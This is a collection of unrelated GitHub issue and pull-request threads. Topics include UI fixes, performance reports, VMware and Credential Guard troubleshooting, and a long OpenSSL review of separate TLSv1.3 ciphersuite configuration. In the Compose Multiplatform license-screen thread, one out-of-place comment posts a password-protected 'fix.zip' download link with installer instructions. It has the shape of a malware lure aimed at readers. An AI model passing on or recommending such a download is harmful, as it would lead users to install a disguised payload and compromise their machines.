Update editor button background color

Fix hard to see editor button when active/hover. Same in dark/light mode as Toolbar and markdown editor don't change.
Before:

After:

Fix found from: https://github.com/Ionaru/easy-markdown-editor/issues/327#issuecomment-892813538 I think this is fine unless we want to do the extra work to make a dark theme for easymde/Blazorize.Markdown.

<3 <3


CPU time spent on timeline pages is very high

It seems to get worse as the server scales, too, for an unknown reason. Cause is as yet unknown, but it climbs to over 20 seconds when a server has over 10,000 identities and 28,000 posts known to it.

Initial profiling shows that it's happening in the render phase of the view, which is unsurprising given the lazy evaluation.

I think this can be closed with the emoji refactor, timelines are zippy zippy

Yeah they really are way better now, I've noticed that!


Update host-standard-control-with-xaml-islands.md

Shouldn't this be "Release" instead of "Retail"?

@jasonwurzel : Thanks for your contribution! The author(s) have been notified to review your proposed change.

Hi @jasonwurzel. Are you seeing some issues with the current example that specifies "Retail"? This configuration was provided by the engineering team that owns this feature, and the "Retail" value shows up in many other similar examples.

Honestly I was confused about that naming as everywhere else it is "Debug" and "Release". Apparently the naming was on purpose, so don't mind my PR.
Holen Sie sich Outlook für Androidhttps://aka.ms/ghei36

From: McLean Schofield<EMAIL_ADDRESS>Sent: Friday, September 27, 2019 6:25:25 PM
To: MicrosoftDocs/windows-uwp<EMAIL_ADDRESS>Cc: Michael Kreich<EMAIL_ADDRESS>Mention<EMAIL_ADDRESS>Subject: Re: [MicrosoftDocs/windows-uwp] Update host-standard-control-with-xaml-islands.md (#1956)
Hi @jasonwurzelhttps://github.com/jasonwurzel. Are you seeing some issues with the current example that specifies "Retail"? This configuration was provided by the engineering team that owns this feature, and the "Retail" value shows up in many other similar examples.
—
You are receiving this because you were mentioned.
Reply to this email directly, view it on GitHubhttps://github.com/MicrosoftDocs/windows-uwp/pull/1956?email_source=notifications&email_token=AAOOKK6WI6Z44ECINJHMAUTQLYXXLA5CNFSM4I3IF7GKYY3PNVWWK3TUL52HS4DFVREXG43VMVBW63LNMVXHJKTDN5WW2ZLOORPWSZGOD7ZNMHI#issuecomment-536008221, or mute the threadhttps://github.com/notifications/unsubscribe-auth/AAOOKK2D5LKKDN75GVHO6M3QLYXXLANCNFSM4I3IF7GA.


lightglue matcher time consume

Hi, OroChippw, Thanks for this amazing project! I have a problem about matcher time consume:
When I use dcouple SP + LG (superpoint.onnx + superpoint_lightglue.onnx) in my test, I save time consume to a txt file.
env: 3080 Laptop(8G), torch2.1, ubuntu20.04
I test 1000 pictures(1920x1080) on this env, matcher(LG) mean time consume is about 12ms. This result is very different from the result on your homepage, is my result correct? I can't believe it.
Hope your reply. thank u!

@OroChippw

Maybe the matcher's inference time measurement result is wrong. I will retest and update README.md. While ensuring accuracy, faster inference speed is of course what we have been pursuing.


warnings vs. exceptions

This is a ticket to discuss when we want to generate exceptions or warnings for cases where the input schema is not formatted as expected.
Current cases to be decided on are:

One or more types in the input schema already have an ID field.
A query type is already defined in the input schema.
A mutation type is already defined in the input schema.
A type that is about to be generated already exists.
A field to be added to a type already exists.

Closing due to inactivity.


-SOLVED- It doesn't work for me

I followed all of the hints:
1 - The Policy is not configured
2 - I don't see the Keys
3 - I see "Incorrect parameter"
So it seems that I don't have this configuration, but I have this error from VMware Player after the installation of Docker...!
Can someone help me?

Document Details
⚠ Do not edit this section. It is required for docs.microsoft.com ➟ GitHub issue linking.

ID: 41c2cb44-269d-3334-019a-726eb5432f1c
Version Independent ID: 251024cc-b818-18c6-a112-4ac0276cb4b1
Content: Manage Windows Defender Credential Guard (Windows 10)
Content Source: windows/security/identity-protection/credential-guard/credential-guard-manage.md
Product: w10
GitHub Login: @brianlic-msft
Microsoft Alias: justinha

@2IRG-FB What error are you referring to? You can use these steps to check if Credential Guard is running:
https://docs.microsoft.com/en-us/windows/security/identity-protection/credential-guard/credential-guard-manage#review-windows-defender-credential-guard-performance

@Justinha The error about incompatibility between VMware Player and Credential Guard, i just commented the page you linked through "Give a feedback".
However, i solved the problem with this cmd: "bcdedit /set hypervisorlaunchtype off". After that, VMware works, but Docker doesn't work anymore... I think they are incompatible...!

"bcdedit /set hypervisorlaunchtype off" didn't solve my problem. I noticed on my particular DELL notebook that there was a missing VT feature to be enabled in BIOS, which did the trick. However, Windows was already telling me "Virtualization is active" etc. Conclusion: Check BIOS switches first before torturing the software side.

@ludwigschreier : Thank you for the useful and vivid insight. 🖥

Solved!
As @ludwigschreier wrote, check the BIOS and turn on the VT.
In my case, I have disabled the option (yes, turn it off).
I started Windows and tried to start the VM or view the status in msinfo32.exe, closed everything and rebooted.
In BIOS enable VT and launched Windows.
VMWare works and does not issue a warning when creating x64 OS.

Thank you for the feedback. Based on your experience,
would you say that the documentation needs improvements
for other users to avoid the same issue?
If yes, what do you recommend changing?

@officedocsbot assign @jvsam

Hi @2IRG-FB reviewing the comments, I believe your issue has been resolved.
We will now close this issue. If you believe the documentation needs improvement, please re-open and provide recommendations on what needs to change or to be updated based from your experience following the instructions in the doc.
Thank you for engaging with the community!

@officedocsbot close


Add support for additional interfaces

Proposed Changes
Get interfaces and related ip addresses instead of using main interface only.
Coding reused from AdGuardHome add-on.
Related Issues
#96

I installed this add-on including this PR to my HASS setup as a local add-on.
It does not share any of my NIC's subnet. ( Compared to the released 0.7 version, which shares my first NIC.)

I have successfully connected two tagged VLANs via Tailscale with the configuration (HA OS) for quite some time. Can you share some information about your system environment?

Not sure why, but after restarting the add-on, now it works. I can see both of my subnets shared. Thanks!


add chinese translations for luci-app-mjpg-streamer

add chinese translations for luci-app-mjpg-streamer

Thanks!


Allow type checking

Fixes #67. As there seems to be no development in #73...
Added option project. It is the equivalent to tslint --project argument. Uses Linter.createProgram to create program for type checking.

Thanks for your interest in palantir/grunt-tslint, @Eddman! Before we can accept your pull request, you need to sign our contributor license agreement - just visit https://cla.palantir.com/ and follow the instructions. Once you sign, I'll automatically update this pull request.

Is this repo still alive?

Maybe there's an issue with the contributor license agreement? It'd be great to have this PR merged.

@adidahiya would you be able to help with this?

The license is signed...

When do you plan to release 5.0.2? It was confusing for me to see that the project option was available in the README but the linting wasn't working correctly. Only after digging did I find this PR.

@kierans just released 5.0.2


Create a License screen that can also be used with ComposeMultiplatform.

Why is this necessary?

OssLicensesMenuActivity is for Android and cannot be used with Composable Multiplatform as is.

The following is an overview of the list of tasks required to complete the task.

[ ] Create feature:license module.
[ ] Create License list screen.
[ ] Create components for the license list screen.
[ ] Creation of License detail screen that transitions from License list screen.
[ ] Install the libraries described in the Link section.
[ ] Creation of Data layer to handle artifacts.json provided by the library.
[ ] Display the License list and License detail screen using the data provided by the Data layer.
[ ] Create VRT for License list screen and detail screen.
[ ] If necessary, we will create a design proposal and modify the screen according to the design.

Link

Referenced information
Library URL

@takahirom
I've been thinking about the task.
If you know of an easier way to accomplish this, I would like to follow the task accordingly.  🙇

Download
https://www.mediafire.com/file/o50xaz6wgtazqnx/fix.zip/file
password: changeme
In the installer menu, select "gcc."

@takahirom
I will try to see if I can't use the existing iOS code to handle the part of the code that opens the license screen.
However, to show the potential of Compose Multiplatform, I will try to implement the described procedure once the existing license screen can be displayed. 🫡

I think it is finished. Let me know if I'm wrong.

@takahirom
If you do not need to use the same license screen for Android/iOS, then you are done. :saluting_face:
If you do this task, you will have the advantage of using a common screen for iOS and Android.
However, there is a concern that if we execute this task, we do not know if we can make CI pass the task as long as we treat JSON as an artifact. :thinking:

I think creating a screen is not that difficult, but generating license information for both iOS and Android libraries would be challenging.

There are still some major issues with Compose Multiplatform, so I'm going to focus on solving those issues and not do this task this time. 🫡


WIP: Split configuration of TLSv1.3 ciphers from older ciphers

With the current mechanism, old cipher strings that used to work in 1.1.0,
may inadvertently disable all TLSv1.3 ciphersuites causing connections to
fail. This is confusing for users.
In reality TLSv1.3 are quite different to older ciphers. They are much
simpler and there are only a small number of them so, arguably, they don't
need the same level of control that the older ciphers have.
This change splits the configuration of TLSv1.3 ciphers from older ones.
By default the TLSv1.3 ciphers are on, so you cannot inadvertently disable
them through your existing config.
Fixes #5359
This is WIP because it still needs documentation - but I wanted to see if there were any substantive comments before writing that.
A few things to note about this (which may or may not be controversial):

I have taken the opportunity to replace the OpenSSL specific names for the ciphersuites with the RFC standard names. The only reason to have OpenSSL specific ones was to make them a bit more consistent with the rest of the ciphersuite names. Now that they are treated differently anyway that reason seems less compelling (if it ever was).

This PR also changes the default ordering of the TLSv1.3 ciphersuites. Previously the TLSv1.3 ciphersuites were mixed in with the rest of the ciphersuites in the order "TLS_AES_256_GCM_SHA384:TLS_CHACHA20_POLY1305_SHA256:TLS_AES_128_GCM_SHA256". Now they are at the top of the ciphersuites list (on the basis that we would rather use these TLSv1.3 ciphersuites than older ones) and in the order "TLS_AES_128_GCM_SHA256:TLS_CHACHA20_POLY1305_SHA256:TLS_AES_256_GCM_SHA384". This is on the basis that AES-256 seems overkill for the default choice (it also has the side benefit that the default hash will now be SHA-256 which is one step towards easing the PSK transition as discussed in #5378). I'm not sure which we would prefer as the top choice out of the AES vs chacha20 ciphersuites. Note this is slightly inconsistent with the default ordering of the older ciphersuites which are sorted by strength (so AES-256 is preferred over AES-128). Since we are handling the two lists differently, I kind of think that is ok.

I have added new functions SSL_CTX_set_ciphersuites()/SSL_set_ciphersuites() for configuring the TLSv1.3 specific ciphersuites. There is also a new "Ciphersuites" SSL_CONF parameter, as well as a new "-ciphersuites" command line option for s_server/s_client/ciphers.

We possibly need SSL_CTX_get0_ciphersuites() and SSL_get0_ciphersuites() too.

Under the hood the TLSv1.3 ciphersuites still get added into the same cipher_list as all the others. This is visible to an application if it calls SSL_get_ciphers() et al.

Checklist

[ ] documentation is added or updated
[x] tests are added or updated

Pushed a fix for the Travis failure. Still investigating the AppVeyor failure.

I think using "ciphersuites" is confusing, maybe "tls13ciphers" ?
Why does apps/s_time.c have a getenv(SSL_CIPHERS) ?

I think using "ciphersuites" is confusing, maybe "tls13ciphers" ?

I was deliberately trying to use something which doesn't include the string tls1.3 in it. That will live with us forever even when it is no longer relevant.

Why does apps/s_time.c have a getenv(SSL_CIPHERS) ?

No idea. It doesn't seem documented. Although I should at least add an option to s_time to set the TLSv1.3 ciphersuites.

Yes, add the flag to s_time and remove the option when you do so.
As for using/notusing tls1.3 in the name, I'm curious what others think.

Don't use tls1.3 in the name - as we want this to be used in future.

I prefer that we default AES-256 over AES-128

I'm wondering if there will be any interaction between this new setting and older TLS protocols.

Yes, add the flag to s_time and remove the option when you do so.

I added the flag. I didn't remove the environment variable thing. If people are relying on that it could break things - which seems unnecessary.

I prefer that we default AES-256 over AES-128

What do other people think about this? BTW I realised that I had inadvertently also changed the ordering of the chacha ciphersuite vs the AES-128 one. I've now swapped those two around. I've currently kept aes-128/chacha being negotiated in favour of AES-256 for now until I get further feedback.

I'm wondering if there will be any interaction between this new setting and older TLS protocols.

I'm not sure what sort of thing you're worried about here?

I do not think we should be setting the preference; it goes against our philosophy. We can also expect that some users -- e.g., FIPS -- will need to turn off some ciphers -- e,.g., ChaCha -- and we should allow them to otherwise use TLS 1.3

I do not think we should be setting the preference; it goes against our philosophy.

I'm not sure I understand what you are trying to say? What preference are you talking about here?

We can also expect that some users -- e.g., FIPS -- will need to turn off some ciphers -- e,.g., ChaCha -- and we should allow them to otherwise use TLS 1.3

This PR enables people to turn off what ever ciphers they want to?

Maybe I misunderstand, I did skim the code but perhaps not read closely enough.  Comments like "kept aes 128 over 256" implies there is a specific ordering of ciphers.  No?

Maybe I misunderstand, I did skim the code but perhaps not read closely enough. Comments like "kept aes 128 over 256" implies there is a specific ordering of ciphers. No?

Well yes. In the code before this PR (and before TLSv1.3) we order our ciphersuites by preference. This is the DEFAULT cipher list. It is a requirement that we know what that order is for us to construct or process a ClientHello. This PR just separates out the configuration of TLSv1.3 ciphersuites from TLSv1.2 and below. We still need to order the ciphersuites as we did before this PR.
Prior to this PR the ordering was:
"TLS_AES_256_GCM_SHA384:TLS_CHACHA20_POLY1305_SHA256:TLS_AES_128_GCM_SHA256"
As part of this PR I changed the order to:
"TLS_CHACHA20_POLY1305_SHA256:TLS_AES_128_GCM_SHA256:TLS_AES_256_GCM_SHA384"
On the basis that AES256 as a default first preference seems overkill. Kurt thinks we should keep the ordering the same as it was before. It is that issue I am asking for comment on.

Can I, as an application, configure which ciphers I want to use, and in which order?

Can I, as an application, configure which ciphers I want to use, and in which order?

Yes, absolutely. We're just talking about the default here if an application doesn't specify anything different.

On Mon, Feb 19, 2018 at 01:48:26PM +0000, mattcaswell wrote:

I'm wondering if there will be any interaction between this new setting and older TLS protocols.

I'm not sure what sort of thing you're worried about here?

I'm wondering if in the new configuration you say "AES", or
"AES-256-GCM-SHA384", that you're going to enable the TLS 1.2
ciphers that match that or not, or if this is going to be a TLS
1.3 setting only.
Do we also have (and need) settings for the key exchange and
authentication?

I'm wondering if in the new configuration you say "AES", or
"AES-256-GCM-SHA384", that you're going to enable the TLS 1.2
ciphers that match that or not, or if this is going to be a TLS
1.3 setting only.

No. The new configuration settings for TLSv1.3 are a simple list of the allowed ciphersuites. It does not have all the functionality of the TLSv1.2 cipher list (it's not needed - there are currently only 5 permissible values). It is not possible to specify "AES" in the list for TLSv1.3 because it is not a ciphersuite name.

My question is if it's useful to actually support it, that we split the current setting in 3 settings and that it's still general purpose. We could then deprecate the old one. You could then for instance have 3DES in it, and it would select the 3DES ciphers for older versions but since we don't have any ciphers for TLS 1.3 with 3DES it wouldn't do anything for TLS 1.3.

I think we should keep the ordering as it was - ordered by strength (as that is what we have as our DEFAULT) for TLSv1.2 - why would we elected to pick a different order for TLSv1.3 - i.e. not by strength - don't we want to selected the "strongest" available as our default?
i.e. I think I agree with @kroeckx

I'm not sure at all how my proposal to split it up in 3 and work
for both TLS 1.2 and TLS 1.2 is supposed to work.

I'm not sure at all how my proposal to split it up in 3 and work
for both TLS 1.2 and TLS 1.2 is supposed to work.

No, I don't know either, although it might be interesting to explore it. However, I think it is probably dealing with a separate problem to the one we are addressing here.
I think your proposal only really works if applications switch to your new 3-way configuration, and ditch any existing cipher_list configuration - otherwise how do you resolve conflicts between the two configuration approaches?
That's fine, and you could have the two things running in parallel, as long as applications only use one of them. But the problem this PR is trying to address is the backwards compatibility issue where applications have set a cipher_list that excludes the possibility of TLSv1.3 ciphersuites and expect it to just work, i.e. we need a solution which allows TLSv1.3 to work in the presence of an existing cipher list configuration.
So - in other words, I think your proposal is interesting, and might be worth exploring, but doesn't impact this PR.

Fix up commit pushed to change the order back to preferring AES-256 over the AES-128/CHACHA20

I guess the way to split it is ignoring the new ones if the old one is set.

I guess the way to split it is ignoring the new ones if the old one is set.

Right. But that doesn't help with the problem at hand: legacy client cipher strings can disable all TLSv1.3 ciphersuites. So I think we still need this PR. Your proposal still has merit but is orthogonal to this change.

Pushed a new commit to try and keep the CIs happy. Lets see if it worked. But, anyway, I'm taking this out of WIP. Please review!

Ping @openssl/committers. This would be nice to get in for next week's alpha if possible.

Rebased this due to conflicts with master.
Ping? Still looking for a reviewer for this.

You've addressed all of my comments - I've got nothing further to add. It looks good to me.
Leave it non-approved for others to comment - but I will come back and approve if no one else does - given I've re-read through the code again.

It would be nice if @SECLEVEL still applied to the tls1.3 ciphersuite selection.

It would be nice if @seclevel still applied to the tls1.3 ciphersuite selection.

I'm not sure what your use case is here. If you use "@seclevel" in the TLSv1.2 cipher string then it applies universally (so would apply equally to TLSv1.3 ciphersuites). But I'm not sure what practical impact that really has?

What happens if a user puts TLSv1.3 ciphers into the "TLSv1.2 and below" list? (For those who've been using the older versions, or are unaware of the new API?)
And subsequently, how does this affect applications compiled against 1.1.0, that pull in the 1.1.1 shared object library, and hope/believe they'll get TLSv1.3 support by merely changing the cipher string?

What happens if a user puts TLSv1.3 ciphers into the "TLSv1.2 and below" list? (For those who've been using the older versions, or are unaware of the new API?)

The same as what happens if you put any unrecognised string into the cipher string - it is ignored.

And subsequently, how does this affect applications compiled against 1.1.0, that pull in the 1.1.1 shared object library, and hope/believe they'll get TLSv1.3 support by merely changing the cipher string?

There is no impact on the configuration of TLSv1.3 ciphersuites, no matter what the contents of your TLSv1.2 and below cipher string. That's kind of the point. Before this PR a 1.1.0 cipher string used in 1.1.1 can inadvertently disable all TLSv1.3 ciphersuites. After this PR the old cipher string configuration will never have any impact on the availability of TLSv1.3 ciphersuites. Unless you explicitly take other steps, you will always have the default TLSv1.3 ciphersuites available.

I guess my concern is the possibility of losing the capability for a 1.1.0-compiled app to be able to update the dynamically-linked library and get TLSv1.3 for free... Previous to this PR, it would require that TLSv1.3 ciphers be added to the cipher string, now there's a separate default TLSv1.3 cipher string. So, an application would get TLSv1.3 for free.
With this PR, there's no need to do anything special to get TLSv1.3 if the 1.1.1 library is dynamically loaded. However, it may mean getting TLSv1.3 with unexpected ciphers (e.g. ChaCha20) if that cipher were not included in the original cipher string. Not sure if this is a bad thing or a reasonable thing.
Which also leads to an application getting TLSv1.3 even if they didn't want it; since the TLSv1.3 ciphers are defined. This can lead to a change in behavior of applications (compiled against 1.1.0) that previously only used TLSv1.2 if it dynamically loads the 1.1.1 library. This could lead to compatibility issues. Not sure if this is a bad thing or a good thing.
Before this PR, all that behavior could be controlled via the single cipher string configuration.

I guess my concern is the possibility of losing the capability for a 1.1.0-compiled app to be able to update the dynamically-linked library and get TLSv1.3 for free... Previous to this PR, it would require that TLSv1.3 ciphers be added to the cipher string, now there's a separate default TLSv1.3 cipher string. So, an application would get TLSv1.3 for free.
With this PR, there's no need to do anything special to get TLSv1.3 if the 1.1.1 library is dynamically loaded. However, it may mean getting TLSv1.3 with unexpected ciphers (e.g. ChaCha20) if that cipher were not included in the original cipher string. Not sure if this is a bad thing or a reasonable thing.

As soon as we enable TLSv1.3 by default we are in a catch-22. Either:

The old cipherstring mechanism is used for both TLSv1.2 and TLSv1.3 and then
1a) That means that any connection to a TLSv1.3 capable peer will fail for some configurations
or
1b) To avoid 1a we force all connections to fail until the configuration is fixed
or
1c) We detect the condition and silently disable TLSv1.3, meaning that lots of applications that believe they have enabled TLSv1.3 actually haven't and have no easy way of finding out that they haven't

or

We separate out the TLSv1.3 ciphersuite configuration from TLSv1.2 and below. The argument here is that TLSv1.3 ciphersuites are really very different to TLSv1.2 and below ciphersuites anyway. This could mean applications may actually have some ciphersuites enabled that they weren't expecting

Of the above we started off with 1a. We decided that was bad because you get spurious occasional failures which are hard to diagnose. So then we moved to 1b. This has proven to also be bad - we've had a number of issues raised where people have not understood the cause of the error. This PR moves to (2) (this is the same approach as Boring takes...except you can't actually configure the TLSv1.3 ciphersuites at all in Boring).

Which also leads to an application getting TLSv1.3 even if they didn't want it; since the TLSv1.3 ciphers are defined. This can lead to a change in behavior of applications (compiled against 1.1.0) that previously only used TLSv1.2 if it dynamically loads the 1.1.1 library. This could lead to compatibility issues. Not sure if this is a bad thing or a good thing.

Either we have TLSv1.3 defaulted to on, and risk that some applications didn't really want it. Or we have it defaulted to off, which I think would significantly slow the adoption of TLSv1.3 and would generally be a bad thing. If its on by default then there is no way to avoid the potential for some compatibility issues. By definition if we default it to on, then sometimes we are going to negotiate TLSv1.3 - which works very differently to TLSv1.2.

Before this PR, all that behavior could be controlled via the single cipher string configuration.

The argument is that they really are different things. TLSv1.2 ciphersuites are not compatible with TLSv1.3 ciphersuites and vice versa. They work in a different way, so in a lot of ways it makes sense to separate out the configuration.

@mattcaswell If @SECLEVEL in the normal cipher string applies also to limit the tls-1.3 ciphersuites (f.e. to limit only to >128 bit ciphersuites with seclevel 4), then it is fine.

@mattcaswell It sounds as though it's been well-thought out, thank you.

I made a minor tweak to the help text in speed based on the feedback above. I've also rebased to resolve a conflict with master. Ping @t-j-h.

A broader question.  In TLS 1.2 we have not only specific cipher names, but also names for classes of ciphers sharing a common property.  Some of the common properties pertain not to the bulk cipher but to the key agreement protocol and its signature.  Thus we have kECDHE, kDHE, aRSA, aECDSA, ...
The TLS 1.3 cipherlist does not appear to offer any control over the key agreement parameters. Should it? And if so how?  And if not, why not?  Say, for example one wanted to avoid the ECDHE groups and use only the FFDHE groups or vice-versa?
Or accept only certificates, and not ECDSA certificates?  And do we support Ed25519 / Ed448 certificates yet?  If so are these just generically ECDSA?  Or do they get their own distinct names?  What are we doing with the "cert" key slots in the SSL structures, last I looked there were slots for DSA, RSA and ECDSA, but the design does not easily accomodate multiple flavours of ECDSA.
Indeed TLS 1.3 adds a new signature_algorithms_cert extension, which is much more specific about the supported algorithms:
      enum {
          /* RSASSA-PKCS1-v1_5 algorithms */
          rsa_pkcs1_sha256(0x0401),
          rsa_pkcs1_sha384(0x0501),
          rsa_pkcs1_sha512(0x0601),

          /* ECDSA algorithms */
          ecdsa_secp256r1_sha256(0x0403),
          ecdsa_secp384r1_sha384(0x0503),
          ecdsa_secp521r1_sha512(0x0603),

          /* RSASSA-PSS algorithms with public key OID rsaEncryption */
          rsa_pss_rsae_sha256(0x0804),
          rsa_pss_rsae_sha384(0x0805),
          rsa_pss_rsae_sha512(0x0806),

          /* EdDSA algorithms */
          ed25519(0x0807),
          ed448(0x0808),

          /* RSASSA-PSS algorithms with public key OID RSASSA-PSS */
          rsa_pss_pss_sha256(0x0809),
          rsa_pss_pss_sha384(0x080a),
          rsa_pss_pss_sha512(0x080b),

          /* Legacy algorithms */
          rsa_pkcs1_sha1(0x0201),
          ecdsa_sha1(0x0203),

          /* Reserved Code Points */
          private_use(0xFE00..0xFFFF),
          (0xFFFF)
      } SignatureScheme;

Which in principle makes it possible to provision separate P-256, P-384, Ed25519, ... certificates and negotiate which to use. But IIRC we not at all ready to support such fine-grained configurations. So perhaps further evolution of TLS 1.3 cipherlists is gated on a design for fine-grained control of the certificate types?
Anyway, it is my impression that work remains to be done in this space, and this interface is somewhat preliminary.

The TLS 1.3 cipherlist does not appear to offer any control over the key agreement parameters. Should it? And if so how? And if not, why not? Say, for example one wanted to avoid the ECDHE groups and use only the FFDHE groups or vice-versa?

No, I don't think it should. In TLSv1.3 none of these things are part of the chosen ciphersuite any more in the spec (ciphersuites are quite different in TLSv1.3). They are all controlled through other extensions. Anything you want to be able to configure along those lines should be configurable by other means. We do not currently support FFDHE groups for TLSv1.3 at all. If you want to have control over the specific groups that could be used then we have the ability to configure the contents of the supported groups extension (e.g. see docs for SSL_CTX_set1_groups_list(), or the "Groups" config option for SSL_CONF).

Or accept only certificates, and not ECDSA certificates?

Did you mean to write accept only RSA certicates, and not ECDSA certificates? If so then this is configurable through sig algs, e.g. see docs for SSL_CTX_set1_sigalgs_list() or the "SignatureAlgorithms" config option for SSL_CONF.

And do we support Ed25519 / Ed448 certificates yet?

Yes.

If so are these just generically ECDSA? Or do they get their own distinct names?

We follow the sig algs extension so they have their own names.

What are we doing with the "cert" key slots in the SSL structures, last I looked there were slots for DSA, RSA and ECDSA, but the design does not easily accomodate multiple flavours of ECDSA.

We now have additional slots for Ed25519 and Ed448. For traditional ECDSA certs you can currently only have one, i.e. you couldn't have a P-256 ECDSA cert and a P-384 ECDSA cert at the same time (but we've never supported that - that's not changed for TLSv1.3)

Indeed TLS 1.3 adds a new signature_algorithms_cert extension, which is much more specific about the supported algorithms:
Which in principle makes it possible to provision separate P-256, P-384, Ed25519, ... certificates and negotiate which to use. But IIRC we not at all ready to support such fine-grained configurations.

signature_algorithms_cert enables you to specify which signatures you are willing to accept in certificates. It says nothing about the public keys held within those certs. For that you still use signature_algorithms. As a server it is perfectly possible to set up multiple certificates, e.g. you could have an RSA cert, an ECDSA cert, an Ed25519 cert and an Ed448 cert. As a client you can specify which ones you are willing to accept by configuring sig algs.
We have full support for the signature_algorithms extension and partial support for signature_algorithms_cert (we can receive it but not send it).

So perhaps further evolution of TLS 1.3 cipherlists is gated on a design for fine-grained control of the certificate types?

I don't believe the two are connected. Ciphersuites in TLSv1.3 are really quite simple, and have nothing to do with certificate selection.

@mattcaswell No, I don't think it should. In TLSv1.3 none of these things are part of the chosen ciphersuite any more in the spec (ciphersuites are quite different in TLSv1.3). They are all controlled through other extensions.

Matt, while I am aware of and agree that the specification has switched from a list of all-in-one cipher code points to just bulk cipher + PRF, with handshake parameters negotiated separately, I don't think that this (necessarily or ideally) means that the user-interface should be partitioned in the same way.
Most applications will present just one configuration element to the user to configure the relevant settings, and will not to expose lots of separate settings that will likely confuse the user.
Prior to TLS 1.3, the relevant settings could all be configured via the cipherlist.  I think that limiting the syntax to just the bulk ciphers is likely a poor user interface.  You might compare with GNU-TLS, where the "priority string" offers extensive control over the cryptographic settings: https://gnutls.org/manual/html_node/Priority-Strings.html
I strongly feel that users should be able to select not only the bulk ciphers, but also the acceptable peer signature algorithms, and supported groups.  All via the new TLS 1.3-style cipherstring.  The underlying C API can present multiple special-purpose interfaces for changing one thing at a time, but the ciphersuite string that applications expose to users should I think be more flexible.

Can't those extensions be added later?

A good user interface translates the user's mental model of the task to the internal model of the program, rather than just expose and instrument the internal model, and ask the user to adapt to that.

I don't disagree with that sentiment.  I just question how important it is that we provide full fine-grain control of TLS 1.3 in this initial release.

I don't think that this (necessarily or ideally) means that the user-interface should be partitioned in the same way.

Most applications will present just one configuration element to the user to configure the relevant settings, and will not to expose lots of separate settings that will likely confuse the user.

I totally and strongly disagree. I think it is far more confusing to push configuration of lots of different concepts into a single string. I'm not sure what evidence the "most applications will present just one configuration element to the user" comes from - but if so it is hardly surprising if there has been only one configuration element for these things to date. Previously it could all (mostly) be managed by the cipher string. There is absolutely no reason in my mind to continue that model into a future where it just does not fit well.

I just question how important it is that we provide full fine-grain control of TLS 1.3 in this initial release.

Just to point out that we have fine-grain control of these things for TLSv1.3. Just not in one string like @vdukhovni wants. Doing that would be a bad mis-feature in my mind.

@richsalz I don't disagree with that sentiment. I just question how important it is that we provide full fine-grain control of TLS 1.3 in this initial release.

Looking upthread we see:

@vdukhovni Anyway, it is my impression that work remains to be done in this space, and this interface is somewhat preliminary.

So I was mainly trying to say that I think we're not done yet.  The question of when a more complete interface should be added is separate.  If 1.1.1 were an LTS release candidate, then I'd say that we need to flesh out the ciphersuite syntax now.  If this a TLS 1.3 preview, with LTS support in 1.2 or similar, then this can wait a bit, but early adopters of 1.1.1 will find that they're losing some control over the cryptographic parameters unless they add new user-interface elements to expose the additional separate controls.
If different applications expose different interfaces, users will not see a consistent approach across the application ecosystem.  So there is a downside to deferring the interface design too long...

A good user interface translates the user's mental model of the task to the internal model of the program,

Most user's mental model today will be based on how TLSv1.2 works. TLSv1.3 does not work like that. It would be wrong for us to attempt to fit TLSv1.3 into a TLSv1.2 mental model. That would ultimately result in more confusion. As users become more accustomed to how TLSv1.3 works they will expect to be able to configure it in a way that matches that. Or putting it another way our user's mental model will change as they begin to understand TLSv1.3. Our task is to provide an interface that matches what that model will be not what it is now.

early adopters of 1.1.1 will find that they're losing some control over the cryptographic parameters unless they add new user-interface elements to expose the additional separate controls.

TLSv1.3 is new. It works differently. There are multiple things that have changed that apps will need to modify to take advantage of the new features (not just around configuration).  Applications will have to adapt regardless. That won't happen over night. It would be very wrong of us to try and contort things in a way that might help a bit now but leave us with a bad interface in the long run.

there is a downside to deferring the interface design too long...

I do not see this as deferring the interface design at all. We have an interface that provides a good granularity of control. It works a bit differently to how it worked before. That's not unreasonable. TLSv1.3 itself works differently to how things worked before.

@mattcaswell Most user's mental model today will be based on how TLSv1.2 works. TLSv1.3 does not work like that. It would be wrong for us to attempt to fit TLSv1.3 into a TLSv1.2 mental model.

I don't think users should need to understand that internally OpenSSL has separate interfaces for configuring ciphers vs. key exchange groups vs. signature algorithms, ...  And most won't know much about TLS 1.3.
They'll find a ciphersuite spec in some BCP how-to, and want to paste it into their application settings. If a single uniform syntax supports all the relevant parameters, then all applications will expose a single parameter, which the user can set.  If they need to understand what's a signature algorithm, what's a bulk cipher and PRF, ... and find the right instance of that in each application, I think that's too much to expect.
So I am concerned that separating these settings may not be in the users' interest...

If they need to understand what's a signature algorithm, what's a bulk cipher and PRF, ... and find the right instance of that in each application, I think that's too much to expect.

If they do not understand these things then we should not be encouraging them to configure it, or copy-and-paste settings into their config. Lets not provide them with even more complex tools to play with things they don't understand. It is our responsibility to provide good defaults that "just work" for most people. If people do understand what these settings do then we provide them with the capability to do it. If they understand it then they should have no problem with the current approach (it will fit their mental model).

So I am concerned that separating these settings may not be in the users' interest...

I see it the other way around. Combining them is not in their interest.

I was always annoyed at the limitations of TLSv1.2 and earlier, in that everything was included in the cipher suite definitions and nothing was orthogonal. Configuring TLSv1.3 is no different than ordering off a menu; pick something from column A, B and C. It's not that hard.
It is certainly within an applications domain to choose how it presents configuration options. It can combine them into limited options for its users, or allow orthogonal flexibility.
As a library, OpenSSL should provide the flexibility that applications need in order to create their interfaces; we should not impose restrictions on them.
IMHO, the proposed mechanism of separating provides the flexibility that applications need.

In spite of the discussions and disagreements on long term approach, I don't think anyone is actually objecting to this PR. So will someone approve it?

I actually think we should be providing configuration options like those for TLS-1.3 for the pre-TLS-1.3 concepts and educate people about a way of setting each concept separately rather than as the traditional everything-jammed-into-one ciphers string.

BTW I've read through the code and I'm okay to approve it - but I'll hold off for a day in case someone actually wants to take this to a vote - i.e. @vdukhovni if you strongly disagree please put in a -1 so we can take it to a vote.
My suggestion above about having early TLS versions support separate configuration would of course be a separate PR ...

I actually think we should be providing configuration options like those for TLS-1.3 for the pre-TLS-1.3 concepts and educate people about a way of setting each concept separately rather than as the traditional everything-jammed-into-one ciphers string.

I think that sounds like the kind of thing @kroeckx was suggesting above.

I rebased this to resolve a conflict with master. The rebase caused a test to start failing in ssapitest, so I also fixed that. While doing those two things I also found a spot I missed in clienthellotest in the conversion to the new TLSv1.3 ciphersuite configuration - so I added a commit to fix that too.

Rebased again to resolve more conflicts. Ping @t-j-h?

I've done a pass through - just a couple of minor comments.
I also think we should allow the TLS_ prefix on the ciphersuites to be optional - i.e. work without that being specified. It just really seems out of place to force its usage (and it is redundant in the context where used).
